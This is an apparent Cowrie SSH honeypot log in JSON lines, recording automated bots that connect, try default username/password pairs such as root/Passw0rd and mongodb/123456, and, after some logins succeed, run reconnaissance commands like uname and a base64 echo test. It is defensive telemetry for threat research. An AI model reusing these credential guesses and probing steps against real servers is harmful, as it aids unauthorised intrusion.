{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:40.473845Z","src_ip":"91.92.240.199","session":"112d1c43c9dc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -d. -f1","message":"Command not found: cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:40.476012Z","src_ip":"91.92.240.199","session":"112d1c43c9dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":74,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"1.9","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:42.353147Z","src_ip":"91.92.240.199","session":"112d1c43c9dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.3","message":"Connection lost after 14.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:42.357810Z","src_ip":"91.92.240.199","session":"112d1c43c9dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":60402,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd9fed1d1715","protocol":"ssh","message":"New connection: 101.44.96.62:60402 (159.203.135.109:22) [session: fd9fed1d1715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:48.724678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:48.729164Z","src_ip":"101.44.96.62","session":"fd9fed1d1715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:48.947136Z","src_ip":"101.44.96.62","session":"fd9fed1d1715","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:49.599391Z","src_ip":"101.44.96.62","session":"fd9fed1d1715","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:50.087199Z","src_ip":"101.44.96.62","session":"fd9fed1d1715","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:50.089684Z","src_ip":"101.44.96.62","session":"fd9fed1d1715","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:50.309969Z","src_ip":"101.44.96.62","session":"fd9fed1d1715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:50.314945Z","src_ip":"101.44.96.62","session":"fd9fed1d1715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":56450,"dst_ip":"159.203.135.109","dst_port":22,"session":"724f8b87fd1e","protocol":"ssh","message":"New connection: 101.44.96.62:56450 (159.203.135.109:22) [session: 724f8b87fd1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:02.215162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:02.219673Z","src_ip":"101.44.96.62","session":"724f8b87fd1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:02.436686Z","src_ip":"101.44.96.62","session":"724f8b87fd1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:03.087373Z","src_ip":"101.44.96.62","session":"724f8b87fd1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:04.307057Z","src_ip":"101.44.96.62","session":"724f8b87fd1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":37244,"dst_ip":"159.203.135.109","dst_port":22,"session":"b518f11b4b26","protocol":"ssh","message":"New connection: 101.44.96.62:37244 (159.203.135.109:22) [session: b518f11b4b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:15.709060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:15.715233Z","src_ip":"101.44.96.62","session":"b518f11b4b26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:15.932121Z","src_ip":"101.44.96.62","session":"b518f11b4b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:16.581477Z","src_ip":"101.44.96.62","session":"b518f11b4b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:17.801074Z","src_ip":"101.44.96.62","session":"b518f11b4b26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":55784,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf8717a31e25","protocol":"ssh","message":"New connection: 195.178.110.218:55784 (159.203.135.109:22) [session: bf8717a31e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:23.094534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:23.098850Z","src_ip":"195.178.110.218","session":"bf8717a31e25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:23.174381Z","src_ip":"195.178.110.218","session":"bf8717a31e25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:23.401112Z","src_ip":"195.178.110.218","session":"bf8717a31e25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:24.479244Z","src_ip":"195.178.110.218","session":"bf8717a31e25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":39942,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc234a4a5981","protocol":"ssh","message":"New connection: 101.44.96.62:39942 (159.203.135.109:22) [session: cc234a4a5981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:29.192530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:29.198080Z","src_ip":"101.44.96.62","session":"cc234a4a5981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:29.413037Z","src_ip":"101.44.96.62","session":"cc234a4a5981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"123456","message":"login attempt [mongodb/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:30.054770Z","src_ip":"101.44.96.62","session":"cc234a4a5981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:31.272336Z","src_ip":"101.44.96.62","session":"cc234a4a5981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":59552,"dst_ip":"159.203.135.109","dst_port":22,"session":"11a38b32a435","protocol":"ssh","message":"New connection: 85.198.97.85:59552 (159.203.135.109:22) [session: 11a38b32a435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:34.161598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:34.166056Z","src_ip":"85.198.97.85","session":"11a38b32a435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:34.302477Z","src_ip":"85.198.97.85","session":"11a38b32a435","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"bash","message":"login attempt [root/bash] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:34.711154Z","src_ip":"85.198.97.85","session":"11a38b32a435","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:35.021616Z","src_ip":"85.198.97.85","session":"11a38b32a435","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:35.024824Z","src_ip":"85.198.97.85","session":"11a38b32a435","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:35.164733Z","src_ip":"85.198.97.85","session":"11a38b32a435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:35.169401Z","src_ip":"85.198.97.85","session":"11a38b32a435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":34428,"dst_ip":"159.203.135.109","dst_port":22,"session":"c323dee0e365","protocol":"ssh","message":"New connection: 101.44.96.62:34428 (159.203.135.109:22) [session: c323dee0e365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:42.653071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:42.657068Z","src_ip":"101.44.96.62","session":"c323dee0e365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:42.871301Z","src_ip":"101.44.96.62","session":"c323dee0e365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:43.514365Z","src_ip":"101.44.96.62","session":"c323dee0e365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:44.730582Z","src_ip":"101.44.96.62","session":"c323dee0e365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":37058,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b021e2341cf","protocol":"ssh","message":"New connection: 101.44.96.62:37058 (159.203.135.109:22) [session: 1b021e2341cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:56.098721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:57:56.105580Z","src_ip":"101.44.96.62","session":"1b021e2341cf","protocol":"ssh"}
